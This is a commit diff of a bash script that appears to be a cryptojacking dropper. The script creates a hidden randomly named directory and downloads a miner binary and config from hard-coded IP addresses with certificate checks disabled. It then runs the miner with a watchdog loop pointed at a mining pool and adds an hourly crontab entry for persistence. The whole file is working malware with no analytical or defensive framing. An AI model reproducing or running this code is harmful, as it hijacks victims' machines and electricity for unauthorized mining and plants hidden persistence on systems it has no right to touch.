1 changed files with 66 additions and 29 deletions
@ -1,37 +1,74 @@ |
|||||||
#!/bin/bash |
#!/bin/bash |
||||||
|
|
||||||
path=$PWD |
ARCH=$(uname -m); |
||||||
|
OS=$(uname); |
||||||
|
if [ $ARCH == "x86_64" ]; then |
||||||
|
case $OS in |
||||||
|
'Linux') |
||||||
|
OS='Linux' |
||||||
|
x='x' |
||||||
|
;; |
||||||
|
'FreeBSD') |
||||||
|
OS='FreeBSD' |
||||||
|
x='x_freebsd' |
||||||
|
;; |
||||||
|
*) |
||||||
|
x='' |
||||||
|
;; |
||||||
|
esac |
||||||
|
|
||||||
if [ -w $path ]; then |
if [ -n "$x" ]; then |
||||||
|
if [ -z "$1" ]; then |
||||||
|
real_path=$PWD |
||||||
|
else |
||||||
|
real_path=$1 |
||||||
|
if [ ! -w $real_path ]; then |
||||||
|
real_path=$PWD |
||||||
|
fi |
||||||
|
fi |
||||||
|
if [ -w $real_path ]; then |
||||||
|
cd $real_path |
||||||
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5) |
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5) |
||||||
mkdir $dir |
mkdir $dir |
||||||
cd $dir |
cd $dir |
||||||
path=$PWD |
path="$path/$dir" |
||||||
salt=$(head /dev/urandom | tr -dc a-z | head -c 7) |
salt=$(head /dev/urandom | tr -dc a-z | head -c 7) |
||||||
|
conf=$(head /dev/urandom | tr -dc a-z | head -c 1) |
||||||
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2) |
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2) |
||||||
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then |
name=$(head /dev/urandom | tr -dc a-z | head -c 3) |
||||||
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x |
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/$x -O $name 2>/dev/null; then |
||||||
if [ ! -f "$path/x" ]; then |
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/$x -o $name |
||||||
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/x 2>/dev/null; then |
if [ ! -f "$path/$name" ]; then |
||||||
curl -ks http://208.113.133.62/.test/x -o x |
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/$x -O $name 2>/dev/null; then |
||||||
|
curl -ks http://208.113.133.62/.test/$x -o $name |
||||||
fi |
fi |
||||||
fi |
fi |
||||||
fi |
fi |
||||||
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then |
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 -O $conf 2>/dev/null; then |
||||||
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10 |
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o $conf |
||||||
fi |
fi |
||||||
if [ ! -f "$path/x" ]; then exit; fi |
if [ -f "$path/$name" ]; then |
||||||
chmod 777 x |
chmod 777 $name |
||||||
log=$path/.log |
log=$path/.log |
||||||
echo "#!/bin/bash" > $m |
echo "#!/bin/bash" > $m |
||||||
if [ ! -f "$path/10" ]; then |
if [ ! -f "$path/10" ]; then |
||||||
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||||
salt="pool" |
salt="pool" |
||||||
else |
else |
||||||
sed "s/BBBBBBB/$salt/" -i 10 |
sed "s/BBBBBBB/$salt/" -i 10 |
||||||
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name -c $path/$conf -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||||
fi |
fi |
||||||
chmod 777 $m |
chmod 777 $m |
||||||
(crontab -l; echo "*/60 * * * * $m") | crontab - |
(crontab -l; echo "*/60 * * * * $m") | crontab - |
||||||
echo $salt |
echo "{'salt':'$salt', 'path':'$path', 'autorun':'$m','xmrig':'$name', 'conf':'$conf', 'OS':'$OS', 'ARCH':'$ARCH', 'error':''}"; |
||||||
|
else |
||||||
|
echo "{'error':'access', 'OS':'$OS', 'ARCH':'$ARCH'}" |
||||||
|
fi |
||||||
fi |
fi |
||||||
|
else |
||||||
|
echo "{'error':'OS', 'OS':'$OS', 'ARCH':'$ARCH'}" |
||||||
|
fi |
||||||
|
else |
||||||
|
echo "{'error':'ARCH', 'ARCH':'$ARCH'}" |
||||||
|
fi |
||||||
|
|
||||||
|
Loading…
Reference in new issue